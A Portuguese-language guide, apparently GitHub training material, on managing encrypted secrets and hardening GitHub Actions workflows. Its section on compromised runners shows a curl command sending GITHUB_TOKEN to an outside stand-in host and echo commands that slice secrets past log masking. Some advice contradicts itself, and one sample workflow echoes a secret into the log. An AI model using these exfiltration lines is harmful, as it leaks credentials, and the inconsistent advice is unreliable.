Gerenciar segredos criptografados
Os segredos são variáveis de ambiente criptografadas que armazenam tokens, credenciais e outras informações confidenciais. Seus fluxos de trabalho e ações do GitHub Actions podem usar esses segredos quando necessário. Depois de criados, os segredos ficam acessíveis a fluxos de trabalho e ações que têm permissão para acessar a organização, o repositório ou o ambiente em que os segredos são definidos.
Esta seção explica como gerenciar segredos criptografados usando ferramentas e estratégias no GitHub Enterprise Cloud e no GitHub Enterprise Server. Você também aprenderá a usar esses segredos em seus fluxos de trabalho e ações.
Gerenciar segredos criptografados na empresa
O GitHub Actions permite armazenar e usar dados confidenciais com segurança, como chaves de API, tokens de autenticação, senhas e certificados, por meio de segredos criptografados. Esses segredos são armazenados com segurança e injetados em fluxos de trabalho. Esse design garante que eles não apareçam em logs ou código-fonte.
Em um ambiente empresarial, o gerenciamento de segredo eficaz é fundamental. Ele ajuda a manter a segurança, atender aos requisitos de conformidade e dar suporte à eficiência operacional. O GitHub permite gerenciar segredos em quatro níveis: empresa, organização, repositório e ambiente.
Escopo de segredos criptografados
Entender o escopo dos segredos é essencial para gerenciá-los com segurança em um ambiente empresarial.
| Nível do Segredo | Âmbito | Quem pode acessar | Casos de uso comuns |
|---|---|---|---|
| Segredos doEnterprise-Level | Aplicar a todos os repositórios em uma organização do GitHub Enterprise Cloud. | Proprietários corporativos, administradores de segurança | Compartilhe credenciais em vários repositórios. |
| Segredos doOrganization-Level | Aplicar a todos os repositórios em uma organização; opcionalmente, limite para repositórios selecionados. | Proprietários da organização, administradores de segurança | Acesse serviços de nuvem e bancos de dados compartilhados. |
| Segredos doRepository-Level | Aplicar somente a um único repositório. | Administradores de repositório, executores de fluxo de trabalho | Proteger credenciais para implantação em um repositório. |
| Segredos doEnvironment-Level | Aplicar a ambientes de implantação específicos em um repositório, como preparo ou produção. | Executores de fluxo de trabalho no ambiente especificado | Separar credenciais por ambiente de implantação. |
Principais Considerações:
- Os segredos corporativos são exclusivos do GitHub Enterprise Cloud e dão suporte ao gerenciamento centralizado em uma organização.
- Os segredos da organização oferecem controle de acesso refinado e podem ser limitados a repositórios específicos.
- Os segredos do ambiente ajudam a evitar a exposição não intencional restringindo o acesso a ambientes de fluxo de trabalho.
Gerenciar segredos criptografados no nível da organização
A criação de segredos criptografados no nível da organização ajuda a proteger informações confidenciais, reduzindo o esforço necessário para gerenciar segredos em vários repositórios.
Por exemplo, alguns desenvolvedores que escrevem fluxos de trabalho em sua organização do GitHub precisam das credenciais para implantar código em produção em alguns de seus fluxos de trabalho. Para evitar o compartilhamento dessas informações confidenciais, você pode criar um segredo criptografado que contenha as credenciais no nível da organização. Assim, as credenciais podem ser usadas nos fluxos de trabalho sem serem expostas.
Para criar um segredo no nível da organização, vá para as Configurações da sua organização e, na barra lateral, selecione Segredos e variáveis > Ações > Novo segredo da organização. Na tela exibida, insira um nome e um valor e escolha uma política de acesso ao repositório para o seu segredo:
Depois de salva, a política de acesso é exibida abaixo do segredo na lista:
Você pode selecionar Atualizar para obter mais detalhes sobre as permissões configuradas para seu segredo.
Gerenciar segredos Organization-Level criptografados por meio da CLI do GitHub
- Crie um segredo para uma organização:
gh secret set SECRET_NAME --org my-org --body "super-secret-value" - Listar todos os segredos da organização:
gh secret list --org my-org - Atualizar um segredo existente:
gh secret set SECRET_NAME --org my-org --body "new-secret-value" - Excluir um segredo:
gh secret delete SECRET_NAME --org my-org
Considerações de segurança para segredos da organização
- Restrinja segredos a repositórios específicos em vez de conceder acesso a todos os repositórios por padrão.
- Implemente o RBAC (controle de acesso baseado em função) para garantir que somente os membros autorizados da equipe possam criar, atualizar ou excluir segredos.
- Monitore os logs de acesso regularmente para identificar e responder ao uso não autorizado ou a atividades suspeitas.
Gerenciar segredos criptografados no nível do repositório
Para definir o escopo de um segredo para um repositório específico, use o GitHub Enterprise Cloud ou o GitHub Enterprise Server.
Criar um segredo no nível do repositório
- Navegue até as Configuraçõesdo repositório.
- SelecioneSegredos e variáveis > Ações e, em seguida, Novo segredo do repositório.
- Insira um nome e um valor para o segredo.
Gerenciar segredos criptografados no nível do repositório por meio da CLI
Listar segredos do repositório:
gh secret list --repo my-repoAtualize um segredo de repositório:
gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"Excluir um segredo do repositório:
gh secret delete SECRET_NAME --repo my-repo
Acessar segredos criptografados em ações e fluxos de trabalho
Em Fluxos de trabalho
Acesse segredos usando o contexto secrets. Use with para passar o segredo como uma entrada ou env para defini-lo como uma variável de ambiente.
steps:
- name: Hello world action
uses: actions/hello-world@v1
with:
# Pass the secret as an input to the action
super_secret: ${{ secrets.SuperSecret }}
env:
# Set the secret as an environment variable
super_secret: ${{ secrets.SuperSecret }}
Use
with:Passe o segredo como um parâmetro de entrada para a ação. Esse método é comumente usado quando a ação define explicitamente as entradas em seuaction.yml.Use
env:Exponha o segredo como uma variável de ambiente para a etapa. Essa abordagem é útil quando o comando na etapa ou um script dentro da ação espera uma variável de ambiente.
Em Ações
Para usar segredos dentro de uma ação personalizada, defina-os como entradas no arquivo de metadados action.yml e acesse-os como variáveis de ambiente no código de ação.
inputs:
super_secret:
description: 'My secret token'
required: true
// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');
Defina em
action.yml:Especificar o segredo como uma entrada obrigatória ou opcional.Acesso no código:Leia o segredo usando o Toolkit de Ações (recomendado) ou referenciando variáveis de ambiente se definido.
Aviso
Evite codificar segredos no código-fonte da ação. Para gerenciar com segurança entradas e segredos, use o Toolkit de Ações para lidar com valores dentro de sua lógica de código.
Configurar a proteção de segurança para o GitHub Actions
A proteção de segurança para o GitHub Actions desempenha um papel em manter a cadeia de fornecimento de software segura. As seções a seguir orientam você pelas melhores práticas para fortalecer a segurança das ações que você usa em seus fluxos de trabalho.
Identificar as melhores práticas para atenuar ataques de injeção de script
Algumas melhores práticas para mitigar ataques de injeção de script em ações do GitHub incluem:
Use ações Javascript em vez de scripts embutidos: use ações Javascript que aceitam valores de contexto como argumentos em vez de inserir esses valores em scripts embutidos. Essa abordagem reduz o risco de injeção de script porque os dados de contexto não são usados para gerar ou executar comandos de shell diretamente.
Passar uma variável como uma entrada para uma ação JavaScript ajuda a impedir que ela seja usada em um ataque de injeção de script.
uses: fakeaction/checktitle@v3 with: title: ${{ github.event.pull_request.title }}Use variáveis de ambiente intermediárias em scripts embutidos: ao usar scripts embutidos, avalie variáveis como variáveis de ambiente antes de usá-las em comandos. Essa abordagem garante que os valores sejam resolvidos antes da execução do script, reduzindo o risco de injeção de script. Por exemplo, usar
github.event.pull_request.titlecomo uma variável de ambiente ajuda a proteger contra vulnerabilidades de injeção:- name: Check PR title env: TITLE: ${{ github.event.pull_request.title }} run: | if [[ "$TITLE" =~ ^octocat ]]; then echo "PR title starts with 'octocat'" exit 0 else echo "PR title did not start with 'octocat'" exit 1 fi
Aproveite os modelos de fluxo de trabalho para implementar a verificação de código: navegue até a guia Ações do repositório e selecione o botão Novo Fluxo de Trabalho no painel esquerdo. Na página Escolher um fluxo de trabalho, localize a seção Segurança para acessar e aplicar modelos de fluxo de trabalho.
Configure o scanner CodeQL para ser executado em eventos específicos, permitindo que ele digitalize os arquivos de uma ramificação e sinalize exposições CWEs (Common Weakness Enumerations) em ações usadas em fluxos de trabalho, incluindo vulnerabilidades como injeção de script.
Restringir permissões para tokens: verifique se você sempre aplica o
rule of least privilegepara qualquer token criado. Em outras palavras, verifique se o token recebeu os privilégios mínimos para alcançar a tarefa para a qual foi criado.
Melhores práticas para usar com segurança ações de terceiros
Siga estas melhores práticas para incorporar com segurança ações de terceiros em seus fluxos de trabalho:
Fixe ações em uma marca somente se o autor for confiável Usar marcas de versão, como
v1ouv2, somente quando o autor da ação for verificado e confiável. Essa ação ajuda a reduzir o risco de alterações inesperadas em versões futuras.- name: Checkout uses: actions/checkout@v4 # Pinned to a specific version tagPrefira anexar ações a um SHA de confirmação completa Anexar a um SHA de confirmação completa garante que você esteja usando uma versão imutável da ação. Sempre verifique se o SHA da confirmação vem do repositório esperado.
- name: Checkout uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2 # Pinned to a specific commit SHAAudite o código-fonte da ação Examine a origem da ação para confirmar se ela manipula dados com segurança e não inclui comportamento inesperado ou mal-intencionado.
Indicadores de uma ação de terceiros confiável
Use ações confiáveis para reduzir o risco em seus fluxos de trabalho.
Procure o selo Verificado: ações confiáveis aparecem no GitHub Marketplace e exibem um selo de Criador verificado ao lado do título informando que o criador foi verificado pelo GitHub.
Verifique a documentação: o arquivo
action.ymldeve estar bem documentado e descrever claramente como a ação funciona.
Usar atualizações de versão do Dependabot para manter as ações atualizadas
Habilite as atualizações de versão do Dependabot para manter automaticamente suas dependências do GitHub Actions atuais e seguras.
Impacto potencial de um executor comprometido
Esta seção descreve possíveis vetores de ataque que podem ser explorados se um executor for comprometido.
Exfiltração de dados de um executor
Embora o GitHub Actions redimensione automaticamente os segredos dos logs, essa redação não é um limite de segurança completo. Se um executor for comprometido, um invasor poderá expor segredos intencionalmente, imprimindo-os no log. Por exemplo:
echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}
Um executor comprometido também pode ser usado para encaminhar segredos ou outros dados confidenciais do repositório para um servidor externo usando solicitações HTTP com script.
Acesso a segredos
Os fluxos de trabalho disparados de repositórios bifurcados usando o evento pull_request têm permissões somente leitura e não podem acessar segredos. No entanto, as permissões variam dependendo do tipo de evento, como issue_comment, issues, push ou pull_request de um branch dentro do mesmo repositório. Se um executor for comprometido, há risco de que os segredos do repositório sejam expostos ou que GITHUB_TOKEN do trabalho com permissões de gravação sejam usados de forma indevida.
- Se um segredo ou token for atribuído a uma variável de ambiente, ele poderá ser acessado diretamente usando
printenv. - Se um segredo for referenciado diretamente em uma expressão, o script de shell gerado que contém o valor resolvido será armazenado em disco e poderá estar acessível.
- Para ações personalizadas, o nível de risco depende de como o segredo é tratado dentro da lógica da ação. Por exemplo:
uses: exampleaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
Embora o GitHub Actions remova segredos da memória se eles não forem referenciados no fluxo de trabalho ou em ações incluídas, o GITHUB_TOKEN e quaisquer segredos usados ativamente permanecem em risco de serem coletados se o executor for comprometido.
Roubando o GITHUB_TOKEN de um trabalho
Um invasor pode roubar GITHUB_TOKEN de um trabalho. O GitHub Actions fornece automaticamente esse token com permissões no escopo limitadas ao repositório que executa o fluxo de trabalho. O token expira depois que o trabalho é concluído e não pode ser reutilizado posteriormente.
No entanto, um executor comprometido pode ser usado para exfiltrar o token imediatamente durante a execução do trabalho. Um invasor pode automatizar uma solicitação para um servidor que ele controla para capturar o token antes de expirar. Por exemplo:
curl http://example.com?token=$GITHUB_TOKEN
Modificação do conteúdo do repositório
Se um GITHUB_TOKEN for roubado, um sistema controlado por invasores poderá usá-lo para chamar a API do GitHub e modificar o conteúdo do repositório.
Aplicar o princípio de privilégio mínimo às permissões do token ajuda a reduzir esse risco. Limite o acesso do token apenas ao que é necessário para o trabalho.
Gerenciar o acesso entre repositórios
Quando os fluxos de trabalho exigem acesso a vários repositórios, é importante escolher credenciais que minimizem os riscos de segurança. Algumas das opções recomendadas listadas da maioria para a menos preferida incluem:
GITHUB_TOKENO GitHub gera automaticamente a execução
GITHUB_TOKENde cada fluxo de trabalho. Ele tem escopo para o único repositório que aciona o fluxo de trabalho e fornece permissões equivalentes a um usuário com acesso de gravação nesse repositório. O token é criado no início de cada trabalho e expira quando o trabalho é concluído.Use sempre
GITHUB_TOKENque possível para autenticação segura e com escopo. Para obter detalhes, consulte Autenticação automática de token.Chave de implantação do repositório
Para clonar ou enviar por push usando o Git em fluxos de trabalho, use chaves de implantação que fornecem acesso de leitura ou gravação a um único repositório.
No entanto, as chaves de implantação não dão suporte ao acesso às APIs REST ou GraphQL do GitHub. Use-os somente quando o acesso à API não for necessário e o acesso ao Git for suficiente.
Tokens de aplicativo do GitHub
Os Aplicativos do GitHub oferecem permissões refinadas e podem ser instalados em repositórios selecionados. É possível criar um Aplicativo GitHub interno, instalá-lo nos repositórios necessários e autenticar-se como a instalação do aplicativo em seu fluxo de trabalho para acessar esses repositórios.
Essa abordagem fornece melhor controle de acesso e auditoria em comparação com tokens pessoais.
PATs (tokens de acesso pessoal)
Evite usar tokens de acesso pessoal clássicos em fluxos de trabalho. Esses tokens concedem amplo acesso em todos os repositórios pessoais e organizacionais associados ao usuário, introduzindo um risco significativo. Se o fluxo de trabalho for executado em um repositório com vários colaboradores, todos os usuários de acesso de gravação herdarão efetivamente os privilégios desse token.
Caso precise usar um token pessoal, crie um PAT refinado vinculado a uma conta organizacional dedicada. Restrinja seu acesso apenas aos repositórios específicos exigidos pelo fluxo de trabalho.
Observação
Essa abordagem é difícil de dimensionar e é melhor evitada em favor de chaves de implantação ou de Aplicativos do GitHub.
Chaves SSH em contas pessoais
Nunca use chaves SSH de contas pessoais em fluxos de trabalho. Assim como os PATs clássicos, eles concedem acesso a todos os repositórios associados à conta, incluindo repositórios pessoais e organizacionais. Esse erro expõe fluxos de trabalho a riscos desnecessários.
Se seu caso de uso envolver clonagem ou push via Git, considere usar chaves de implantação. Eles fornecem acesso com escopo sem expor repositórios não relacionados ou exigir credenciais pessoais.
Auditar eventos da Ação do GitHub
O tipo de ação, quando ela foi executada e qual conta pessoal executou a ação são registradas no "log de segurança" e no "log de auditoria". O "log de segurança" registra eventos relacionados à sua conta de usuário. O 'log de auditoria' registra eventos relacionados à sua organização. Portanto, exibindo ambos os logs, você poderá auditar eventos relacionados às ações do Github.
Usando o OIDC com o GitHub Actions
Você poderá configurar fluxos de trabalho para autenticar diretamente com um provedor de nuvem usando o OIDC (OpenID Connect). Nesse caso, não há mais a necessidade de armazenar credenciais como segredos.
Atestados de artefato para GitHub Actions
Os atestados de artefato ajudam a estabelecer a procedência de builds, melhorando a segurança da cadeia de fornecimento de software verificando o que foi criado, onde e como.
O que atestar
Com o GitHub Actions, você pode atestar a proveniência da compilação e SBOM (Lista de Materiais de Software) para binários e imagens de contêiner.
Gerar atestados de artefato para compilações
Ao gerar um atestado de artefato para compilações, você deve garantir:
- Você tem as permissões apropriadas configuradas no fluxo de trabalho
- Você incluiu uma etapa no fluxo de trabalho que usa a ação attest-build-provenance.
O atestado estabelece a proveniência da compilação. Você poderá exibir atestados na guia Ações do repositório.
Gerar um atestado para a proveniência da compilação de binários
Você deverá adicionar as seguintes permissões ao fluxo de trabalho que cria o binário para o qual você pretende atestar:
permissions: id-token: write contents: read attestations: writeVocê deverá adicionar a seguinte etapa após a etapa em que o binário é criado:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-path: 'PATH/TO/ARTIFACT'
Observação
Observe que o valor do parâmetro subject-path é definido como o caminho do binário que você atesta.
Gerar um atestado para a proveniência da compilação de imagens de contêiner
Adicione as seguintes permissões ao fluxo de trabalho que cria a imagem de contêiner:
permissions: id-token: write contents: read attestations: write packages: writeAdicione esta etapa depois de compilar a imagem do contêiner:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} subject-digest: 'sha256:fedcba0...' push-to-registry: trueObservação
- O valor
subject-namedeve ser um nome de imagem totalmente qualificado, comoghcr.io/user/appouacme.azurecr.io/user/app. Não inclua um rótulo. - O
subject-digestdeve ser um resumo SHA256 da imagem, no formatosha256:HEX_DIGEST. - Se o seu fluxo de trabalho usar
docker/build-push-action, você poderá recuperar o resumo da saída. Para obter detalhes, consulte a Sintaxe de fluxo de trabalho para o GitHub Actions.
- O valor
Gerar atestados para SBOMs
Você pode gerar atestados SBOM para um SBOM. Para gerar e atestar para um SBOM, execute as seguintes etapas:
- Certifique-se de definir as permissões apropriadas no fluxo de trabalho, conforme mostrado nos exemplos.
- Você deve gerar um SBOM para o artefato em uma etapa do fluxo de trabalho. Para obter um exemplo, consulte anchore-sbom-action no GitHub Marketplace.
- Inclua uma etapa no fluxo de trabalho que usa a ação attest-sbom (veja exemplos abaixo)
Gerar um atestado SBOM para binários
Adicione as seguintes permissões ao fluxo de trabalho que cria o binário para o qual você gerará um atestado SBOM:
permissions: id-token: write contents: read attestations: writeAdicione a seguinte etapa após as etapas em que o binário é criado e o SBOM gerado:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-path: 'PATH/TO/ARTIFACT' sbom-path: 'PATH/TO/SBOM'
Observe que o valor do parâmetro subject-path deve ser definido como o caminho do binário descrito pelo SBOM. O valor do parâmetro sbom-path deve ser definido como o caminho do arquivo SBOM gerado.
Gerar um atestado SBOM para imagens de contêiner
Adicione as seguintes permissões ao fluxo de trabalho que cria o binário para o qual você gerará um atestado SBOM:
permissions: id-token: write contents: read attestations: write packages: writeAdicione a seguinte etapa após as etapas em que o binário foi criado e o SBOM gerado:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE subject-digest: 'sha256:fedcba0...' sbom-path: 'sbom.json' push-to-registry: true
Observe que o valor do parâmetro subject-name especifica o nome da imagem totalmente qualificado. Por exemplo, ghcr.io/user/app ou acme.azurecr.io/user/app. Não inclua uma marca como parte do nome da imagem.
O valor do parâmetro subject-digest deve ser definido como o resumo SHA256 do assunto do atestado, no formulário sha256:HEX_DIGEST. Se o fluxo de trabalho usar docker/build-push-action, você poderá usar a saída de resumo dessa etapa para fornecer o valor (consulte build-push-action). Para obter mais informações sobre como usar saídas, consulte a Sintaxe de fluxo de trabalho para o GitHub Actions.
O valor do parâmetro sbom-path deverá ser definido como o caminho para o arquivo SBOM formatado por JSON para o qual você pretende atestar.
Verificar atestados de artefato com a CLI do GitHub
Valide os atestados de artefato descritos acima usando a CLI do GitHub. Para obter mais informações, consulte a seção de atestado do manual da CLI do GitHub.
Aviso
É importante lembrar que os atestados de artefato não são uma garantia de que um artefato é seguro. Em vez disso, os atestados de artefato vinculam você ao código-fonte e às instruções de compilação que os produziram. Cabe a você definir seus critérios de política, avaliar essa política avaliando o conteúdo e tomar uma decisão de risco informada ao consumir software.
Acessar segredos criptografados em ações e fluxos de trabalho
Exemplo: usando um segredo em um fluxo de trabalho
name: Deploy Application
on:
push:
branches:
- main
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v3
- name: Use secret in a script
run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"
Melhores práticas para usar segredos em fluxos de trabalho
- Não registre segredos em logs usando
echo ${{ secrets.SECRET_NAME }}. - Use segredos dentro de comandos de script, em vez de atribuí-los a variáveis de ambiente.
- Limite o acesso definindo segredos no nível mais baixo necessário.
- Rode os segredos periodicamente e atualize adequadamente os fluxos de trabalho.
Como usar cofres de terceiros
Muitas empresas integram o GitHub Actions a soluções de gerenciamento de segredos externos , como o HashiCorp Vault, o AWS Secrets Manager e o Azure Key Vault.
1. HashiCorp Vault
- name: Fetch secret from Vault
id: vault
uses: hashicorp/vault-action@v2
with:
url: https://vault.example.com
token: ${{ secrets.VAULT_TOKEN }}
secret: secret/data/github/my-secret
2. Gerenciador de Segredos do AWS (Amazon Web Services)
- name: Retrieve AWS Secret
run: |
SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV
3. Azure Key Vault
- name: Retrieve Azure Secret
uses: Azure/get-keyvault-secrets@v1
with:
keyvault: "my-keyvault"
secrets: "my-secret"
azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}
Vantagens de usar cofres de terceiros
- O gerenciamento centralizado de segredos reduz os riscos de segurança.
- A rotação de segredo automatizada ajuda a cumprir as políticas de segurança.
- Os logs de auditoria e o controle de acesso aprimoram o monitoramento de segurança.
- O acesso a privilégios mínimos impede o uso não autorizado de segredos.